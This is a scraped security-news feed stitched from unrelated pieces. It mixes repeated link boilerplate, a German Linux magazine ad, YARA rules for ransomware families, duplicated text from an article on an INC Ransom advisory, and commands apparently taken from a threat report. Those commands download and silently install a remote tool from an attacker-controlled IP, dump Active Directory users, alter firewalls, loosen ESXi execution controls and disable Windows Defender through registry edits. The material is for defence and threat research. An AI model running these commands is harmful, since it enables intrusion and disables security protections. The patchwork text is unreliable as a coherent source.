The post INC Ransomware Uses LOLBins, RMM Tools, and rclone for Network Intrusion and Data Exfiltration appeared first on Cyber Security News.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Full details of the changes can be found in the changelog.

Written by: Chad Reams, Tufail Ahmed, Keith Knapp, Ashley Frazer, Tyler McLellan

curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet

Linux sicher nutzen: Linux gilt als vergleichsweise wenig anfällig für Schadsoftware. Der Auftaktartikel des Sicherheits-Specials erklärt die Gründe dafür und zeigt, welche Maßnahmen dennoch wichtig sind, um das System bestmöglich zu schützen.

Firewall und Virenschutz unter Linux: Braucht Linux überhaupt zusätzliche Sicherheitssoftware? Der Beitrag erläutert, wann sich der Einsatz von Firewall oder Virenscanner empfiehlt und welche Lösungen sinnvoll sind.

Passwörter zuverlässig verwalten: Starke Passwörter sind für Onlinekonten unverzichtbar. Passwortmanager helfen dabei, Zugangsdaten sicher zu speichern und den Login komfortabler zu gestalten.

Das und vieles mehr lesen Sie in der neuen LinuxWelt 4/2026 – jetzt am Kiosk oder bequem im PC-WELT-Shop bestellen!

Eine Auswahl der Themen in der neuen LinuxWelt: 

Grundlagen

• Ist Linux „sicher“? Codefehler sind Alltag: Warum das wenig über die Angreifbarkeit eines Systems aussagt
• Die Heft-DVD. Alle Inhalte der DVD: Distributionen, Boottools, Software, XXL-Booklet
• Neu: Ubuntu 26.04 auf DVD. Steckbriefe zum neuen Ubuntu und Q4-OS sowie zu drei weiteren Distributionen der Download-DVD
• Linux-News. News & Trends: Kernel, Systeme, Open Source und IT-Sicherheit
• Linux-Updates offline. Updates ohne Internet: Die Methode lohnt bei mehreren Systemen
• Bootstick für jeden Zweck. Ventoy kann mehr als ISO: Das Tool startet auch VHD- und VDI-Images

Special I – IT-Sicherheit mit Linux

• Mehr Sicherheit für Linux. Router, WLAN & Updates: Das sind die grundlegenden Regeln für ein sicheres Heimnetz
• Firewall & Virenscanner. Braucht Linux zusätzliche Sicherheitssoftware wie Windows?
• Secure Boot und Linux. Auslaufende Zertifikate: So erhalten Sie weiter Bootschutz
• Passwörter sicher verwalten. Browser & Keepassxc: So machen Sie unbequeme Passwörter bequem
• Software-Polizist Apparmor. Verbreiteter Standard: Ist diese Komponente wirklich notwendig?
• Linux-VM für Windows. Mit Linux ins Web: Das schützt den Windows-Host in doppelter Hinsicht

Special II – Alte Hardware neu genutzt

• Geeignete Alt-Hardware. Sinnvolles Recycling: Was wirklich zählt und welche Gerätemängel tolerierbar sind
• Oldies als Desktop. Schlanke Distributionen und Remote-Entlastung: So leisten alte Notebooks wieder gute Dienste
• Oldies als Server. Daten- und Webserver: Diese Aufgaben kann praktisch jedes Altgerät mühelos übernehmen
• Weitere Altgeräte. Smartphones, Router, Festplatten: Für vieles gibt es neue Rollen

Software & KI

• Mit KI Fotos animieren. KI-Werkzeuge, starke Hardware, Fotos und ein Auftragsprompt: So lernen Bilder laufen
• Programmieren ohne Kenntnis? KI-Coding-Agenten: Ein Selbstversuch testet die Fähigkeiten von Vibe-Coding am Beispiel Antigravity & Open Code
• Meme-Generator Memerist. Einfaches Werkzeug mit schnellen Ergebnissen: Memerist hilft bei der Erstellung witziger Memes
• Interaktive Jupyter-Notebooks. Code & Markdown: Jupyter-Dateien verbinden Coding und Dokumentation
• Produktiv mit Koncentro. Das Tool Koncentro kombiniert To-do-Listen mit Timer und Webblocker
• Spezialdistribution Gnu Guix. Reinheitsgebot: Die Distribution Guix garantiert pures Open Source

Hardware & Netzwerk

• Fernhilfe für Fritzbox & Co. Der Router im Fernzugriff: So bringen Sie Ihre technische Hilfestellung via Internet zu Freunden und Bekannten
• Diet Pi mit Owncloud. Cloud auf Diät: Diet Pi mit schlanker „Owncloud Infinite Scale“ stemmt jede Hardware
• AI HAT+ am Raspberry Pi. Teuer, kompliziert und aktuell ungenügend: Diese Investition verdient noch keine Empfehlung
• Nextcloud-Backup. Nicht ganz so einfach: Nextcloud-Sicherungen erfordern Strategie
• PDFs bearbeiten. PDF-Bearbeitung: Bento kann alles, zentral im Netz via Browser
• Monitor für Dienste. Uptime Kuma: Der Monitor wacht über Dienste, Ports und Websites
• Clients für Clouddienste. Spezialisten und Rclone: So kommt Linux auf jede Cloud

Praxis

• Einsteigertipps: Dateien löschen mit Spezialtools. Löschen ohne Risiko: Tools und Tipps helfen beim Aufräumen
• Einsteigertipps: Linux für Einsteiger vorbereiten. Vorkonfiguration: So erleichtern Sie anderen den Linux-Einstieg
• Terminaltipps. Grundlagen und neue Tricks zu Bash-Shell, SSH, Htop
• Hardwaretipps. Tipps zur Datenrettung, zu NVMe, LAN-Geschwindigkeit und Akkus
• Softwaretipps. Tipps zu Libre Office, Only Office, Schriften, Handbrake u. v. m.
• Desktoptipps. Tricks zum neuem Gnome 50 und zu Cinnamon und KDE

Das finden Sie auf der Heft-DVD:

• Ubuntu 26.04 LTS (Gnome). Desktop-Flaggschiff und Hauptedition der neuen Ubuntu-Langzeitversion mit Gnome 50
• Q4-OS 6.6 Andromeda (Trinity). Anspruchsloses Desktopsystem auf Basis von Debian 13 für leistungsschwache Hardware
• Download-DVD mit drei Systemen. Zwei Minimalisten für ältere Hardware und ein Arch Linux mit Gnome: Antix 26, Bodhi Linux 7 & Manjaro 26
• …

Die LinuxWelt 4/2026 ist ab sofort am Kiosk für 8,99 Euro erhältlich. Alternativ können Sie das Heft auch über unseren Online-Shop bestellen und sich bequem nach Hause schicken lassen oder als ePaper herunterladen.

Die LinuxWelt gibt es auch in digitaler Form für Ihr Android-Gerät, iPad, iPhone, Windows Phone oder Windows 10.

Hier können Sie die LinuxWelt abonnieren.

Als Abonnent von PC-WELT Plus Digital erhalten Sie die LinuxWelt kostenlos. Sie erhalten per Mail einen entsprechenden Link zur digitalen Ausgabe. Mehr Informationen hierzu finden Sie in diesem Beitrag: PC-WELT zieht um – Digitale Ausgaben nun bei eMagazines.

Written by: Bavi Sadayappan, Zach Riddle, Ioana Teaca, Kimberly Goody, Genevieve Stark

/Create /SC MINUTE /MO 720 /TN Reg /TR "C:\Windows\System32\rundll32.exe C:\windows\system32\config\red.dll Test" /ru system

powershell Import-Module ActiveDirectory; Get-ADUser -filter * -properties Enabled,DisplayName,Mail,SAMAccountName,homephone,ipphone,TelephoneNumber,comment,description,title | select Enabled,DisplayName,Mail,SAMAccountName,homephone,ipphone,TelephoneNumber,comment,description,title | export-csv C:\Users\Public\Music\users.csv 

powershell Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq $true} -properties *|select comment, description, Name, DNSHostName, OperatingSystem, LastLogonDate, ipv4address | Export-CSV C:\users\public\music\AllWindows.csv -NoTypeInformation -Encoding UTF8

cmd.exe /C netsh advfirewall firewall set rule group="remote desktop" new enable=No

powershell.exe -Command New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22

esxcli system settings advanced set -o /User/execInstalledOnly -i 0

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1"

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

rule M_APTFIN_Ransom_AGENDA_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$conf1 = "public_rsa_pem" fullword
		$conf2 = "private_rsa_pem" fullword
		$conf3 = "directory_black_list" fullword
		$conf4 = "file_black_list" fullword
		$conf5 = "file_pattern_black_list" fullword
		$conf6 = "process_black_list" fullword
		$conf7 = "win_services_black_list" fullword
		$conf8 = "company_id" fullword
		$conf9 = "note" fullword
		$load_const1 = { 21 B7 F6 F7 }
		$load_const2 = { F6 36 A4 69 }
		$load_s1 = "run_portable_executable" fullword
		$load_s2 = "MemoryLoadLibrary" fullword
		$load_s3 = "_ZN9morph_poc4main"
		$note1 = "Extension: "
		$note2 = "Domain: "
		$note3 = "login: "
		$note4 = "password: "
		$note5 = "Enter credentials-- Credentials"
		$note6 = "-- Qilin"
		$note7 = "-- Recovery"
		$note8 = "www.torproject.org"
		$note9 = ".onion"
		$note10 = "Employees personal data, CVs, DL , SSN."
		$note11 = "%s/%s_RECOVER.txt"
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (7 of ($conf*) or 7 of ($note*) or all of ($load*))
}

rule M_Hunting_Win_Ransomware_AGENDA_RUST_2_MBeta {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$rust = "/rust/"
		$conf1 = "\"public_rsa_pem\":"
		$conf2 = "\"private_rsa_pem\":"
		$conf3 = "\"directory_black_list\":"
		$conf4 = "\"file_black_list\":"
		$conf5 = "\"file_pattern_black_list\":"
		$conf6 = "\"process_black_list\":"
		$conf7 = "\"win_services_black_list\":"
		$conf8 = "\"company_id\":"
		$conf9 = "\"n\":"
		$conf10 = "\"p\":"
		$conf11 = "\"fast\":"
		$conf12 = "\"skip\":"
		$conf13 = "\"step\":"
		$conf14 = "\"accounts\":"
		$conf15 = "\"note\":"
	condition:
		uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (($rust and 8 of ($conf*)) or (13 of ($conf*)))
}

rule M_Ransom_REDBIKE_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$a1 = ".akira"
		$a2 = "akira_readme.txt"
		$a3 = "akiralkzxzq2dsrzsrvbr2xgbbu2wgsmxryd4csgfameg52n7efvr2id"
		$s1 = "--encryption_percent" ascii wide nocase
		$s2 = "--encryption_path" ascii wide nocase
		$s3 = "--share_file" ascii wide nocase
	condition:
		((all of ($s*)) and (any of ($a*))) and (uint16(0) == 0x5A4D) and filesize > 500KB and filesize < 2MB
}

rule M_APTFIN_Ransom_REDBIKE_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$a = "akira_readme.txt"
		$b = "save your TIME, MONEY, EFFORTS"
		$c = "akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad.onion"
		$d = "--encryption_percent"
		$e = "--encryption_path"
		$f = "--share_file"
	condition:
		all of them and (uint32be(0) == 0x7F454C46)
}

rule M_Hunting_CLOP_rol7XorHash32_ConfigHashes_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$hex_asm_literal_a = { 92 F7 53 7A }
		$hex_asm_literal_b = { 43 29 79 71 }
		$hex_asm_literal_c = { 2A 81 C4 E2 }
		$hex_asm_literal_d = { 2E F4 FA 7E }
		$hex_asm_literal_e = { 31 E5 7F 91 }
		$hex_asm_literal_f = { 16 24 45 D6 }
		$hex_asm_literal_g = { 56 22 93 EA }
	condition:
		all of them
}

rule M_Ransom_CLOP_3 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str_jobmessage_a = "Successfully started daemon-name"
		$str_jobmessage_b = "Could not change working directory to /"
		$str_jobmessage_c = "Could not generate session ID for child process"
		$asm_code_fileordirectory = { 25 00 F0 00 00 3D 00 40 00 00 75 }
		$asm_functioncall_open64_readfile = { 80 01 00 00 C7 44 ( 2? | 6? | A? | E? ) ?? 02 00 00 00 }
		$asm_functioncall_open64_writebytes = { B4 01 00 00 C7 44 ( 2? | 6? | A? | E? ) ?? 42 00 00 00 }
		$asm_encryption_filebuffersize = { 00 E1 F5 05 76 ?? C7 45 ?? 00 E1 F5 05 }
		$asm_encryption_generatekey = { 1F 89 ( C? | D? | E? | F? ) C1 ( C? | D? | E? | F? ) 18 8D ( 0? | 1? ) ( 0? | 1? ) 25 FF 00 [0-2] 29 ( C? | D? | E? | F? ) 83 ( C? | D? | E? | F? ) 01 C9 }
	condition:
		uint32(0) == 0x464C457F and all of ($str_*) or (#asm_code_fileordirectory == 2 and #asm_functioncall_open64_writebytes == 2 and ($asm_encryption_generatekey and $asm_functioncall_open64_readfile and $asm_encryption_filebuffersize))
}

rule M_Ransomware_PLAYCRYPT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2022-12-21"
		date_modified = "2022-12-21"
		rev = "1"
	strings:
		$c1 = { 8A CB 0F B6 D0 8B F2 8B FA D3 EE 8D 4B 01 D3 EF 83 E6 01 83 E7 01 }
		$c2 = { 8D 45 F0 C7 85 D0 FD FF FF 00 00 00 00 50 83 EC 08 }
		$c3 = { 8B 14 0A 8B 4C 32 20 03 D6 89 55 E0 03 CE }
		$c4 = { 8D 8D 80 ?? FF FF E8 C8 ?? FF FF 85 C0 75 61 83 BD [2] FF FF 05 76 58 }
		$c5 = { FF 76 ?? C6 45 EE 00 E8 [2] 00 00 8B F0 8B CF 33 C0 85 F6 0F 48 F0 E8 }
		$c6 = { FF D0 8B F8 83 FF 05 0F [2] 01 00 00 83 FF 06 0F [2] 01 00 00 8B 0E 3B 4E 04 0F [2] 01 00 00 83 FF 04 74 6D 83 FF 01 }
		$s1 = "OpaqueKeyBlob" wide
		$s2 = "AppPolicyGetProcessTerminationMethod"
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize > 100KB and filesize < 200KB and ((2 of ($c*) and all of ($s*)) or (4 of ($c*)))
}

rule G_Ransom_PLAYCRYPT_LINUX_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "First step is done."
		$s2 = "/dev/urandom"
		$s3 = "esxcli storage filesystem list > storage"
		$s4 = "hosts in exclusion:"
		$s5 = "encrypt: "
		$s6 = ".PLAY" fullword
	condition:
		uint32(0) == 0x464C457F and all of them
}

import "pe"

rule G_Ransom_SAFEPAY_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$hex_asm_snippet = { 10 27 00 00 [0-4] 10 27 00 00 }
	condition:
		pe.imphash() == "ff67c703589f775db9aed5a03e4489b0" and ($hex_asm_snippet)
}

rule G_Ransom_SAFEPAY_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$code_string_decode = { 8A C2 32 C1 32 44 0D ?? 34 ?? 88 44 0D ?? 41 83 F9 04 [4-64] B? 4D 5A 00 00 }
		$code_hardware_aes_check = { 0F A2 8B F3 5B 89 07 89 77 ?? 89 4F ?? 89 57 [0-12] ( 00 00 00 02 | C1 ?? 19 ) }
		$code_encrypt_file = { 14 00 10 00 [2-24] 14 00 10 00 [2-32] 00 10 00 5? [0-8] FF ( 15 | D? ) }
		$enc_str1 = { C7 45 ?? 67 4B 3D 49 C7 45 ?? 2F 4F 2F 4D }
		$enc_str2 = { C7 45 ?? 10 3C 51 3E C7 45 ?? 5C 38 4F 3A C7 45 ?? 42 34 58 36 C7 45 ?? 43 30 58 32 66 C7 45 ?? 2D 2C }
		$enc_str3 = { C7 45 ?? A3 8F FF 8D C7 45 ?? EF 8B E4 89 C7 45 ?? E0 87 E0 85 C7 45 ?? E7 83 EC 81 C7 45 ?? FB 9F E8 9D C7 45 ?? FF 9B 98 99 }
		$enc_str4 = { C7 45 ?? 44 40 51 47 C7 45 ?? 51 49 10 10 C7 45 ?? 03 48 43 42 C6 45 ?? 29 }
		$enc_str5 = { C7 45 ?? 77 77 73 74 C7 45 ?? 75 6D 64 70 C7 45 ?? 23 68 63 62 C6 45 ?? 09 }
	condition:
		uint16(0) == 0x5a4d and (all of ($code*) or (any of ($code*) and any of ($enc*)) or (2 of ($enc*)))
}

rule M_Ransom_INC_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[*] Count of arguments: %d" wide
		$s2 = "[-] Failed" wide
		$s3 = "[+] Start" wide
		$s4 = "INC-README" wide
		$s5 = "--debug" wide
		$s6 = "RECYCLE" wide
	condition:
		all of them and (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)
}

rule M_Ransom_INC_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[+] Proccess %s with PID: %d was killed succesffully" wide
		$s2 = "[*] Sending note to printer:" wide
		$s3 = "[+] Recycling bin..." wide
		$s4 = "[*] Starting full encryption in 5s" wide
		$s5 = "[+] Successfully decoded readme!" wide
		$s6 = "[-] Failed" wide
		$lynx = "lynx" ascii wide nocase
	condition:
		$lynx and 4 of ($s*) and (uint16(0) == 0x5A4D) and filesize < 300KB and filesize > 50KB
}

rule G_Ransom_INC_3 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[+] Proccess %s with PID: %d was killed succesffully" wide
		$s2 = "[*] Sending note to printer:" wide
		$s3 = "[+] Recycling bin..." wide
		$s4 = "[*] Starting full encryption in 5s" wide
		$s5 = "[+] Successfully decoded readme!" wide
		$s6 = "[-] Failed" wide
		$sin = "sinobi" ascii wide nocase
	condition:
		$sin and 4 of ($s*) and (uint16(0) == 0x5A4D) and filesize < 400KB and filesize > 50KB
}

rule M_Ransom_INC_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[*] Count of arguments: %d"
		$s2 = "[-] Failed"
		$s3 = "[+] Start"
		$s4 = "INC-README"
		$s5 = "--debug"
		$s6 = "vmsvc"
	condition:
		all of them and uint32(0) == 0x464c457f
}

rule M_Ransom_RANSOMHUB_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str1 = "json:\"settings\""
		$str2 = "json:\"extension\""
		$str3 = "json:\"net_spread\""
		$str4 = "json:\"local_disks\""
		$str5 = "json:\"running_one\""
		$str6 = "json:\"self_delete\""
		$str7 = "json:\"white_files\""
		$str8 = "json:\"white_hosts\""
		$str9 = "json:\"credentials\""
		$str10 = "json:\"kill_services\""
		$str11 = "json:\"set_wallpaper\""
		$str12 = "json:\"white_folders\""
		$str13 = "json:\"note_file_name\""
		$str14 = "json:\"note_full_text\""
		$str15 = "json:\"kill_processes\""
		$str16 = "json:\"network_shares\""
		$str17 = "json:\"note_short_text\""
		$str18 = "json:\"master_public_key\""
	condition:
		14 of them
}

rule G_Ransom_FURYSTORM_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "Whitelist VM id"
		$s2 = "gwfn6l3bk45o2zecvi7xtyqrpsudmahj"
		$s3 = "Dry-run"
		$s4 = "-paths"
		$s5 = "-vmsvc"
		$s6 = "Note: motd=%d login=%d clean=%d"
		$s7 = "Cryptor args"
		$s8 = "VMX found"
		$s9 = "Keys: %016l"
		$s10 = "vim-cmd"
		$s11 = "Dropping readme"
		$s12 = "Encryption params"
	condition:
		uint32(0) == 0x464c457f and filesize > 50KB and filesize < 700KB and 6 of them
}

rule G_Ransom_FURYSTORM_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "Failed decrypt file:"
		$s2 = "Decryptor args:"
		$s3 = "Private key loaded"
		$s4 = "Keys: %016l"
		$s5 = "Dry-run"
		$s6 = "Encryption params"
		$s7 = "Whitelist paths"
		$s8 = "Note: motd=%d"
	condition:
		uint32(0) == 0x464c457f and filesize > 50KB and filesize < 300KB and 6 of them
}

rule M_Autopatt_Ransom_FIREFLAME_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$p00_0 = { 8B CE 8D 5F ?? 8A 01 8D 49 ?? 0F B6 C0 83 E8 ?? 8D 04 40 C1 E0 ?? 99 }
		$p00_1 = { 55 8B EC FF 75 ?? E8 [4] 59 8B 4D ?? 89 01 F7 D8 1B C0 }
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (($p00_0 in (0 .. 380000) and $p00_1 in (260000 .. 280000)))
}

Read more →

The post Trigona ransomware adopts custom tool to steal data and evade detection appeared first on IT Security News.

The post Hackers Deploy New Exfiltration Tool In Ransomware Attacks appeared first on Cyber Security News.

The post Ransomware Gang Unveils Custom Data-Theft Tool appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Read more →

The post Ransomware Gang Unveils Custom Data-Theft Tool appeared first on IT Security News.

The post Government Entities Targeted By CamelClone Espionage Campaign Using Rclone and Public Hosting Sites appeared first on Cyber Security News.

Read more →

The post CamelClone Spy Campaign Abuses Public File-Sharing Sites and Rclone in Government-Focused Attacks appeared first on IT Security News.

The post CamelClone Spy Campaign Abuses Public File-Sharing Sites and Rclone in Government-Focused Attacks appeared first on Cyber Security News.

Cybersecurity agencies across the Pacific region are sharing concerns about the ransomware group INC Ransom's expanding activities and the growing influence of its affiliate network.

A joint advisory issued by the Australian Cyber Security Centre (ACSC), National Computer Emergency Response Team Tonga (CERT Tonga), and the New Zealand National Cyber Security Centre (NCSC) highlights how the INC Ransom ecosystem has become an active threat to organizations in Australia, New Zealand, and Pacific Island states.

The advisory from the agencies down under is designed for both technical specialists and general network defenders. It outlines how INC Ransom operates, the techniques its affiliates use, and the steps organizations can take to reduce their exposure. Officials from the three agencies are urging both government ministries and private organizations to review the mitigation measures outlined in the guidance to strengthen defenses against INC Ransom activity.

What distinguishes this campaign is not only the ransomware itself, but the operational structure behind it. The INC Ransom ecosystem relies on a distributed affiliate model, enabling a broad range of cybercriminal operators to conduct attacks using shared tools and infrastructure.

The INC Ransom Affiliate Model and the RaaS Ecosystem

The operational structure of INC Ransom, which functions as a Ransomware-as-a-Service (RaaS) platform. The model allows external affiliates to deploy ransomware against victims while the core operators manage extortion negotiations and payment collection. 

INC Ransom first emerged in mid-2023 as a financially motivated cybercriminal group believed to be based in Russia. Since then, the group has built an affiliate network that distributes ransomware to attackers targeting organizations worldwide. Within this structure, affiliates perform the technical intrusion and deployment of the malware, while the core INC Ransom operators handle victim communication and ransom demands. 

The group is also known by other threat-intelligence labels, including Tarnished Scorpion and GOLD IONIC. 

According to the advisory from ACSC, NCSC, and CERT Tonga, INC Ransom operations are particularly focused on organizations that manage sensitive or high-value information. Health care providers have become a prominent target globally, likely due to the operational pressure these organizations face when systems become unavailable. 

Although earlier activity concentrated on victims in the United States and the United Kingdom, threat intelligence collected by ACSC, NCSC, and CERT Tonga indicates that the group has shifted attention toward the Pacific region since early 2025. 

INC Ransom Incidents in Australia

In Australia, ACSC has tracked a series of incidents linked to INC Ransom affiliates. 

Between 1 July 2024 and 31 December 2025, the ACSC responded to 11 incidents attributed to the ransomware operation. These incidents primarily affected organizations in professional services and the health care sector. 

Since January 2025, analysts at the ACSC have observed INC Ransom affiliates targeting Australian health care entities through compromised user accounts. Once access is obtained, attackers typically escalate privileges by creating new administrator-level accounts. They then move laterally through internal systems to expand control within the network. 

During these operations, INC Ransom affiliates have deployed malicious payloads using filenames such as “win.exe.” Investigations conducted by the ACSC have also identified cases in which attackers exfiltrated personally identifiable information and medical records before launching the encryption phase. 

Victims typically discover ransom notes containing instructions and links to the INC Ransom Tor-based data leak site (DLS) where negotiations occur. 

Health Infrastructure Disruption in Tonga 

One of the most disruptive incidents linked to INC Ransom occurred in the Kingdom of Tonga. 

On 15 June 2025, the ICT environment of the Tongan Ministry of Health was hit by a ransomware attack that disrupted the national health care network and rendered several core services inaccessible. Investigators from CERT Tonga, working with regional partners including ACSC and NCSC, discovered a ransom note associated with INC Ransom embedded within the ministry’s file systems. 

On 26 June 2025, the INC Ransom group publicly claimed responsibility for the incident on its dark-web data leak site. 

The advisory further identifies Roman Khubov, a cybercriminal also known as “blackod,” as the individual controlling the malicious infrastructure used to exfiltrate data during the Ministry of Health breach. 

Ransomware Incident in New Zealand 

Ransomware activity remains a persistent problem in New Zealand, where multiple sectors of the economy have experienced disruptions. 

In May 2025, the NCSC received a report from a health-sector organization that had suffered a major ransomware intrusion. According to the notification, attackers encrypted a large number of servers and endpoint devices while also stealing significant volumes of data. 

The NCSC investigation determined that INC Ransom was responsible for the incident. After the organization refused to meet the extortion demand, the attackers published the stolen dataset on the INC Ransom data leak site. 

The event reinforced concerns among cybersecurity officials at NCSC, ACSC, and CERT Tonga that the group’s tactics are targeting organizations whose operations are highly sensitive to disruption. 

Technical Tactics Used by INC Ransom 

Technical analysis from ACSC, NCSC, and CERT Tonga shows that INC Ransom affiliates rely on several common intrusion techniques to gain initial access to victim networks. 

The most frequently observed entry points include: 

• Spear-phishing campaigns targeting employees 

• Exploitation of unpatched internet-facing systems 

• Purchased credentials from initial access brokers 

Once inside the network, INC Ransom affiliates often rely on legitimate software tools rather than custom malware to perform key tasks. This tactic allows malicious activity to blend into normal administrative operations. 

For example: 

• 7-Zip and WinRAR are used to compress data before theft. 

• The file synchronization tool rclone is frequently used to transfer stolen data outside the network. 

After data exfiltration, attackers deploy the encryption component of INC Ransom. A ransom note is then left on affected systems with payment instructions and contact details. 

If the targeted organization refuses to pay, INC Ransom operators initiate double-extortion tactics by publishing both the victim’s name and stolen information on the group’s leak site. 

Security analysts note that the tactics, techniques, and procedures (TTPs) used by INC Ransom share similarities with other ransomware operations such as Lynx, Nemty, Nemty X, Karma, and Nokoyawa. 

Defensive Measures Recommended by ACSC, NCSC, and CERT Tonga 

The joint advisory from ACSC, NCSC, and CERT Tonga outlines several practical security measures designed to reduce the risk of INC Ransom compromise. 

Key defensive actions include: 

• Maintain Reliable Backups: Organizations should maintain regular, tested backups of critical systems and store them securely to prevent unauthorized modification or deletion. 

• Restrict Network Traffic: Network administrators should limit inbound and outbound traffic to only what is necessary for operations. Firewalls and filtering technologies can help reduce exposure to phishing campaigns and malicious attachments. 

• Harden Remote Access: Virtual private networks (VPNs) and other remote access systems should be carefully configured to ensure only authorized users can reach sensitive resources. 

• Implement Multi-Factor Authentication: The advisory from ACSC, NCSC, and CERT Tonga emphasizes implementing phishing-resistant multi-factor authentication (MFA) for internet-facing services and privileged accounts. 

• Manage Privileged Access: Administrative privileges should be tightly controlled. Unique accounts for administrators improve accountability and reduce the impact of credential compromise. 

• Maintain Strong Vulnerability Management: Regular vulnerability scanning and rapid patching of exposed systems remain critical, particularly for internet-facing services that ransomware actors commonly target. 

Growing Regional Collaboration Against the INC Ransom 

The joint advisory reflects cooperation among cybersecurity agencies across the Pacific. By sharing intelligence and incident data, organizations such as ACSC, NCSC, and CERT Tonga are building a more coordinated response to ransomware threats like INC Ransom. 

The rise of affiliate-driven ransomware operations has significantly lowered the barrier to entry for cybercriminal activity. In this environment, the INC Ransom ecosystem demonstrates how distributed attacker networks can rapidly shift focus across geographic regions. 

For organizations in Australia, New Zealand, and the Pacific islands, the advisory from the Australian Cyber Security Centre (ACSC), New Zealand National Cyber Security Centre (NCSC), and National Computer Emergency Response Team Tonga (CERT Tonga) highlights the need to strengthen access controls, monitor network activity, and maintain a tested incident response plan to limit the impact of ransomware attacks. 

Threat intelligence from Cyble helps organizations track ransomware activity, monitor dark web exposure, and identify indicators of compromise earlier. 

Schedule a demo with Cyble to see how its threat intelligence platform supports ransomware detection and response. 

References:

• https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/inc-ransom-affiliate-model-enabling-targeting-of-critical-networks 

• https://www.cyber.gov.au/about-us/view-all-content/news/inc-ransom-and-affiliate-network-operating-in-australia-new-zealand-and-the-pacific-island-states 

The post Australia, New Zealand, Tonga, Warn of Rising INC Ransom Attacks Targeting Pacific Networks appeared first on Cyble.

Cybersecurity agencies across the Pacific region are sharing concerns about the ransomware group INC Ransom's expanding activities and the growing influence of its affiliate network.

A joint advisory issued by the Australian Cyber Security Centre (ACSC), National Computer Emergency Response Team Tonga (CERT Tonga), and the New Zealand National Cyber Security Centre (NCSC) highlights how the INC Ransom ecosystem has become an active threat to organizations in Australia, New Zealand, and Pacific Island states.

The advisory from the agencies down under is designed for both technical specialists and general network defenders. It outlines how INC Ransom operates, the techniques its affiliates use, and the steps organizations can take to reduce their exposure. Officials from the three agencies are urging both government ministries and private organizations to review the mitigation measures outlined in the guidance to strengthen defenses against INC Ransom activity.

